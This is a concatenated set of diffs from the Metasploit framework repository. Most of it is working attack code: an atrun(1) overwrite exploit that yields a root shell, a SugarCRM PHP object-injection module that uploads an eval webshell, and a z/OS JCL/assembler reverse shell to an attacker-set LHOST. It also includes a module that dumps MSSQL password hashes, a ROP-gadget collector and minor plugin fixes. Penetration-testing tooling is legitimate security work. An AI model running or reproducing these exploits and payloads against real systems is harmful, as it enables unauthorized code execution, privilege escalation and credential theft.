break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}
}
# patch in our variable maildir and atrunpath
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")
main.gsub!(/#define MAILDIR "\/var\/mail"/,
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
payload_file = "#{rand_text_alpha(8)}"
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
vprint_status("Writing Payload to #{payload_path}")
# patch in to run our payload as part of ksh
main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/,
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
write_file(payload_path, payload.encoded)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)
print_status "Writing exploit to #{executable_path}.c"
# clean previous bad attempts to prevent c code from exiting
rm_f executable_path
rm_f '/tmp/atrun'
whoami = cmd_exec('whoami')
rm_f "/tmp/#{whoami}"
write_file("#{executable_path}.c", main)
print_status("Compiling #{executable_path}.c via gcc")
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
output.each_line { |line| vprint_status(line.chomp) }
print_status('Starting the payload handler...')
handler({})
print_status("Executing at #{Time.now}. May take up to 10min for callback")
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
output.each_line { |line| vprint_status(line.chomp) }
# our sleep timer
stime = Time.now.to_f
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
print_status("#{Time.now}")
register_file_for_cleanup(executable_path)
register_file_for_cleanup("#{executable_path}.out")
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")
end
end

View File

@ -65,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_raw('uri' => uri)
if res and res.body =~ /[1.1 r248]/
if res && res.body.include?('SkyBlueCanvas [1.1 r248]')
vprint_good("SkyBlueCanvas CMS 1.1 r248-xx found")
return Exploit::CheckCode::Appears
end
@ -89,7 +89,9 @@ class MetasploitModule < Msf::Exploit::Remote
'email' => rand_text_alphanumeric(10),
'subject' => rand_text_alphanumeric(10),
'message' => rand_text_alphanumeric(10),
'action' => 'Send'
'action' => 'Send',
'mailinglist' => '0',
'cc' => '0'
}
})
end

View File

@ -0,0 +1,94 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
'Description' => %q{
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
which could be abused to allow unauthenticated users to execute arbitrary PHP code with
the permissions of the webserver. The dangerous unserialize() call exists in the
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2016-07'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
['URL', 'https://bugs.php.net/bug.php?id=72663']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2016'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
], self.class)
end
def exploit
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"
payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00"
payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"
payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"
print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
'method' => 'POST',
'vars_post' => {
'method' => 'login',
'input_type' => 'Serialize',
'rest_data' => payload_serialized
}
})
unless res
print_error('Connection timed out while sending a request to rest.php')
return
end
if res && res.code != 200
print_error("#{peer} - Exploit failed: #{res.code}")
return
end
register_files_for_cleanup(File.basename(upload_php))
print_status("#{peer} - Executing the payload #{upload_php}")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, upload_php),
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
})
if res && res.code != 200
print_error("#{peer} - Payload execution failed: #{res.code}")
return
end
end
end

View File

@ -94,8 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'data' => data
})
if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty?
if res.nil? || (res.headers['Location'] && res.headers['Location'].include?('action=Login')) || res.get_cookies.empty?
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
end

View File

@ -13,50 +13,62 @@ require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 150
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => {},
'Payload' => ''
}
)
'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => {},
'Payload' => ''
}))
register_options(
[
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
],
self.class
)
register_advanced_options(
[
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
],
self.class
)
end
##
# Construct the paload
# Construct Payload
##
def generate
super + command_string
end
##
# Build the command string for JCL submission
# Setup replacement vars from options if need be
##
def command_string
"//DUMMY JOB (MFUSER),'dummy job',\n" \
"// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" \
"// EXEC PGM=IEFBR14\n"
jcl_jobcard +
"// EXEC PGM=IEFBR14\n"
end
end

View File

@ -14,135 +14,168 @@ require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 9001
CachedSize = 9048
include Msf::Payload::Single
include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' =>
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles
this automatically.',
'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'LHOST' => [ 0x1b29, 'custom' ],
'LPORT' => [ 0x1b25, 'custom' ]
},
'Payload' =>
"//REVSHL JOB (USER),'Reverse shell jcl',\n" \
"// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" \
"//**************************************/\n" \
"//* Generates reverse shell */\n" \
"//**************************************/\n" \
"//*\n" \
"//STEP1 EXEC PROC=ASMACLG\n" \
"//SYSIN DD *,DLM=ZZ\n" \
" TITLE 'z/os Reverse Shell'\n" \
"NEWREV CSECT\n" \
"NEWREV AMODE 31\n" \
"NEWREV RMODE 31\n" \
"***********************************************************************\n" \
"* SETUP registers and save areas *\n" \
"***********************************************************************\n" \
"MAIN LR 7,15 # R7 is base register\n" \
" NILH 7,X'1FFF' # ensure local address\n" \
" USING MAIN,0 # R8 for addressability\n" \
" DS 0H # halfword boundaries\n" \
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
" XC 0(204,1),0(1) # clear zero area\n" \
" LA 13,SAVEAREA(7) # address of save area\n" \
" LHI 8,8 # R8 has static 8\n" \
" LHI 9,1 # R9 has static 1\n" \
" LHI 10,2 # R10 has static 2\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1SOC set up socket *\n" \
"***********************************************************************\n" \
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
" LA 3,8 # n parms\n" \
" LA 5,DOM(7) # Relative addr of First parm\n" \
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1CON (connect) connect to rmt host *\n" \
"***********************************************************************\n" \
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
" ST 5,CLIFD2(7) # store for connection call\n" \
"*** main processing **\n" \
" LA 1,SSTR(7) # packed socket string\n" \
" LA 5,CLIFD2(7) # dest for our sock str\n" \
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
" LA 0,@@F2(7) # USS callable svcs connect\n" \
" LA 3,6 # n parms for func call\n" \
" LA 5,CLIFD2(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"*************************************************\n" \
"* Preparte the child pid we'll spawn *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) dupe parent read fd to std input *\n" \
"*************************************************\n" \
" LHI 11,2 # Loop Counter R11=2\n" \
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
"@RET1 AHI 11,-1 # Decrement R11\n" \
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1EXC (exec) execute /bin/sh *\n" \
"***********************************************************************\n" \
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
"******************************************\n" \
"**** load array of addr and constants ***\n" \
"******************************************\n" \
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
" LA 2,EXARG1(7) # addr of arg1\n" \
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
"**************************************************************\n" \
"*** call the exec function the normal way ********************\n" \
"**************************************************************\n" \
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
" LA 3,13 # n parms\n" \
" LA 5,EXCPRM1(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
"***********************************************************************\n" \
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
" L 5,CLIFD(7) # client file descriptor\n" \
" ST 5,@FFD(7) # store as fnctl argument\n" \
" ST 11,@ARG(7) # fd to clone\n" \
" LA 3,6 # n parms\n" \
" LA 5,@FFD(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
'Offsets' => {},
'Payload' => ''
}))
register_options(
[
# need these defaulted so we can manipulate them in command_string
Opt::LHOST('127.0.0.1'),
Opt::LPORT(4444),
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
], self.class
)
register_advanced_options(
[
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
],
self.class
)
end
##
# Construct Payload
##
def generate
super + command_string
end
##
# Setup replacement vars and populate payload
##
def command_string
if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
end
lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
lhost = lhost.unpack("H*")[0]
lport = datastore['LPORT']
lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
jcl_jobcard +
"//**************************************/\n" \
"//* Generates reverse shell */\n" \
"//**************************************/\n" \
"//*\n" \
"//STEP1 EXEC PROC=ASMACLG\n" \
"//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \
"//SYSIN DD *,DLM=ZZ\n" \
" TITLE 'z/os Reverse Shell'\n" \
"NEWREV CSECT\n" \
"NEWREV AMODE 31\n" \
"NEWREV RMODE 31\n" \
"***********************************************************************\n" \
"* SETUP registers and save areas *\n" \
"***********************************************************************\n" \
"MAIN LR 7,15 # R7 is base register\n" \
" NILH 7,X'1FFF' # ensure local address\n" \
" USING MAIN,0 # R8 for addressability\n" \
" DS 0H # halfword boundaries\n" \
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
" XC 0(204,1),0(1) # clear zero area\n" \
" LA 13,SAVEAREA(7) # address of save area\n" \
" LHI 8,8 # R8 has static 8\n" \
" LHI 9,1 # R9 has static 1\n" \
" LHI 10,2 # R10 has static 2\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1SOC set up socket *\n" \
"***********************************************************************\n" \
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
" LA 3,8 # n parms\n" \
" LA 5,DOM(7) # Relative addr of First parm\n" \
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1CON (connect) connect to rmt host *\n" \
"***********************************************************************\n" \
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
" ST 5,CLIFD2(7) # store for connection call\n" \
"*** main processing **\n" \
" LA 1,SSTR(7) # packed socket string\n" \
" LA 5,CLIFD2(7) # dest for our sock str\n" \
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
" LA 0,@@F2(7) # USS callable svcs connect\n" \
" LA 3,6 # n parms for func call\n" \
" LA 5,CLIFD2(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"*************************************************\n" \
"* Preparte the child pid we'll spawn *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) dupe parent read fd to std input *\n" \
"*************************************************\n" \
" LHI 11,2 # Loop Counter R11=2\n" \
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
"@RET1 AHI 11,-1 # Decrement R11\n" \
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1EXC (exec) execute /bin/sh *\n" \
"***********************************************************************\n" \
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
"******************************************\n" \
"**** load array of addr and constants ***\n" \
"******************************************\n" \
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
" LA 2,EXARG1(7) # addr of arg1\n" \
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
"**************************************************************\n" \
"*** call the exec function the normal way ********************\n" \
"**************************************************************\n" \
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
" LA 3,13 # n parms\n" \
" LA 5,EXCPRM1(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
"***********************************************************************\n" \
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
" L 5,CLIFD(7) # client file descriptor\n" \
" ST 5,@FFD(7) # store as fnctl argument\n" \
" ST 11,@ARG(7) # fd to clone\n" \
" LA 3,6 # n parms\n" \
" LA 5,@FFD(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
" BRC 15,@RET1 # Return to caller\n" \
"\n" \
@ -186,7 +219,7 @@ module MetasploitModule
"* # BPX1EXC Constants\n" \
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
"* # BPX1CON Constants\n" \
"SSTR DC X'100202PPPPaaaaaaaa'\n" \
"SSTR DC X'100202#{lport}#{lhost}'\n" \
"* # BPX1EXC Arguments\n" \
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
"EXCMDL DC F'7' # len of cmd to exec\n" \
@ -231,24 +264,5 @@ module MetasploitModule
" END MAIN\n" \
"ZZ\n" \
"//*\n"
}))
end
# replace our own LPORT/LHOST
def replace_var(raw, name, offset, pack)
super
if name == 'LHOST' && datastore[name]
val = Rex::Socket.resolv_nbo(datastore[name])
val = val.unpack("H*")[0]
raw[offset, val.length] = val
return true
elsif name == 'LPORT' && datastore[name]
val = datastore[name]
val = val.to_s.to_i.to_s(16).rjust(4, '0')
raw[offset, val.length] = val
return true
else
return false
end
end
end

View File

@ -112,11 +112,16 @@ class MetasploitModule < Msf::Post
print_status("Attempting to get password hashes...")
get_hash_result = run_sql(query, instance_name)
res = run_sql(query, instance_name)
if get_hash_result.include?('0x')
if res.include?('0x')
# Parse Data
hash_array = get_hash_result.split("\r\n").grep(/0x/)
if hash_type == "mssql12"
res = res.unpack('H*')[0].gsub("200d0a", "_CRLF_").gsub("0d0a", "").gsub("_CRLF_", "0d0a").gsub(/../) {
|pair| pair.hex.chr
}
end
hash_array = res.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else

View File

@ -42,12 +42,12 @@ class MetasploitModule < Msf::Post
# We will just use an x64 only defined env variable to check.
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
progfilesx86 = progfiles_env['ProgramFiles(X86)']
if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
if not progfilesx86.blank? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
progs = progfilesx86 # x64
else
progs = progfiles_env['ProgramFiles'] # x86
end
path = progs + '\\Steam\\config'
path = "#{progs}\\Steam\\config"
print_status("Checking for Steam configs in #{path}")

173
msfrop
View File

@ -1,173 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# $Id$
#
# This tool will collect, export, and import ROP gadgets
# from various file formats (PE, ELF, Macho)
# $Revision$
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'rex'
require 'rex/ropbuilder'
require 'rex/ui/text/output/stdio'
require 'rex/text/color'
require 'optparse'
def opt2i(o)
o.index("0x")==0 ? o.hex : o.to_i
end
opts = {}
color = true
opt = OptionParser.new
opt.banner = "Usage #{$PROGRAM_NAME} <option> [targets]"
opt.separator('')
opt.separator('Options:')
opt.on('-d', '--depth [size]', 'Number of maximum bytes to backwards disassemble from return instructions') do |d|
opts[:depth] = opt2i(d)
end
opt.on('-s', '--search [regex]', 'Search for gadgets matching a regex, match intel syntax or raw bytes') do |regex|
opts[:pattern] = regex
end
opt.on('-n', '--nocolor', 'Disable color. Useful for piping to other tools like the less and more commands') do
color = false
end
opt.on('-x', '--export [filename]', 'Export gadgets to CSV format') do |csv|
opts[:export] = csv
end
opt.on('-i', '--import [filename]', 'Import gadgets from previous collections') do |csv|
opts[:import] = csv
end
opt.on('-v', '--verbose', 'Output very verbosely') do
opts[:verbose] = true
end
opt.on_tail('-h', '--help', 'Show this message') do
puts opt
exit
end
begin
opt.parse!
rescue OptionParser::InvalidOption
puts "Invalid option, try -h for usage"
exit(1)
end
if opts.empty? and (ARGV.empty? or ARGV.nil?)
puts "no options"
puts opt
exit(1)
end
# set defaults
opts[:depth] ||= 5
gadgets = []
if opts[:import].nil?
files = []
ARGV.each do |file|
if(File.directory?(file))
dir = Dir.open(file)
dir.entries.each do |ent|
path = File.join(file, ent)
next if not File.file?(path)
files << File.join(path)
end
else
files << file
end
end
ropbuilder = Rex::RopBuilder::RopCollect.new
files.each do |file|
ret, retn = []
ropbuilder = Rex::RopBuilder::RopCollect.new(file)
ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color)
retn = ropbuilder.collect(opts[:depth], "\xc2") # retn
ret = ropbuilder.collect(opts[:depth], "\xc3") # ret
ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color)
# compile a list of all gadgets from all files
ret.each do |gadget|
gadgets << gadget
if opts[:verbose]
ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color)
ropbuilder.print_msg("#{gadget[:disasm]}\n", color)
end
end
retn.each do |gadget|
gadgets << gadget
if opts[:verbose]
ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color)
ropbuilder.print_msg("#{gadget[:disasm]}\n", color)
end
end
end
ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color)
end
if opts[:import]
ropbuilder = Rex::RopBuilder::RopCollect.new()
ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color)
gadgets = ropbuilder.import(opts[:import])
gadgets.each do |gadget|
ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color)
ropbuilder.print_msg(gadget[:disasm] + "\n", color)
end
ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color)
end
if opts[:pattern]
matches = ropbuilder.pattern_search(opts[:pattern])
if opts[:verbose]
ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color)
end
end
if opts[:export]
ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color)
csv = ropbuilder.to_csv(gadgets)
if csv.nil?
exit(1)
end
begin
fd = File.new(opts[:export], 'w')
fd.puts csv
fd.close
rescue
puts "Error writing #{opts[:export]} file"
exit(1)
end
ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color)
end

View File

@ -256,11 +256,9 @@ class Plugin::OpenVAS < Msf::Plugin
begin
tbl = Rex::Text::Table.new(
'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"])
id = 0
@ov.target_get_all().each do |target|
tbl << [ id, target["name"], target["hosts"], target["max_hosts"],
tbl << [ target["id"], target["name"], target["hosts"], target["max_hosts"],
target["in_use"], target["comment"] ]
id += 1
end
print_good("OpenVAS list of targets")
print_line
@ -322,10 +320,8 @@ class Plugin::OpenVAS < Msf::Plugin
begin
tbl = Rex::Text::Table.new(
'Columns' => ["ID", "Name", "Comment", "Status", "Progress"])
id = 0
@ov.task_get_all().each do |task|
tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ]
id += 1
tbl << [ task["id"], task["name"], task["comment"], task["status"], task["progress"] ]
end
print_good("OpenVAS list of tasks")
print_line
@ -421,10 +417,8 @@ class Plugin::OpenVAS < Msf::Plugin
tbl = Rex::Text::Table.new(
'Columns' => [ "ID", "Name" ])
id = 0
@ov.config_get_all.each do |config|
tbl << [ id, config["name"] ]
id += 1
tbl << [ config["id"], config["name"] ]
end
print_good("OpenVAS list of configs")
print_line
@ -444,10 +438,8 @@ class Plugin::OpenVAS < Msf::Plugin
begin
tbl = Rex::Text::Table.new(
'Columns' => ["ID", "Name", "Extension", "Summary"])
id = 0
format_get_all.each do |format|
tbl << [ id, format["name"], format["extension"], format["summary"] ]
id += 1
tbl << [ format["id"], format["name"], format["extension"], format["summary"] ]
end
print_good("OpenVAS list of report formats")
print_line
@ -467,25 +459,16 @@ class Plugin::OpenVAS < Msf::Plugin
begin
tbl = Rex::Text::Table.new(
'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"])
id = 0
resp = @ov.report_get_raw
resp.elements.each("//get_reports_response/report") do |report|
report_task = nil
report_start_time = nil
report_stop_time = nil
report_id = report.elements["report"].attributes["id"]
report_task = report.elements["task/name"].get_text
report_start_time = report.elements["creation_time"].get_text
report_stop_time = report.elements["modification_time"].get_text
report.elements.each("//task/name") do |task_name|
report_task = task_name.get_text
end
report.elements.each("//creation_time") do |creation_time|
report_start_time = creation_time.get_text
end
report.elements.each("//modification_time") do |mod_time|
report_stop_time = mod_time.get_text
end
tbl << [ id, report_task, report_start_time, report_stop_time ]
id += 1
tbl << [ report_id, report_task, report_start_time, report_stop_time ]
end
print_good("OpenVAS list of reports")
print_line

View File

@ -0,0 +1,10 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/octopusdeploy'
RSpec.describe Metasploit::Framework::LoginScanner::OctopusDeploy do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
end

View File

@ -1,284 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/alpha2/alpha_mixed'
RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
let(:decoder_stub) do
"jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
end
let(:reg_signature) do
{
'EAX' => 'PY',
'ECX' => 'I',
'EDX' => '7RY',
'EBX' => 'SY',
'ESP' => 'TY',
'EBP' => 'UY',
'ESI' => 'VY',
'EDI' => 'WY'
}
end
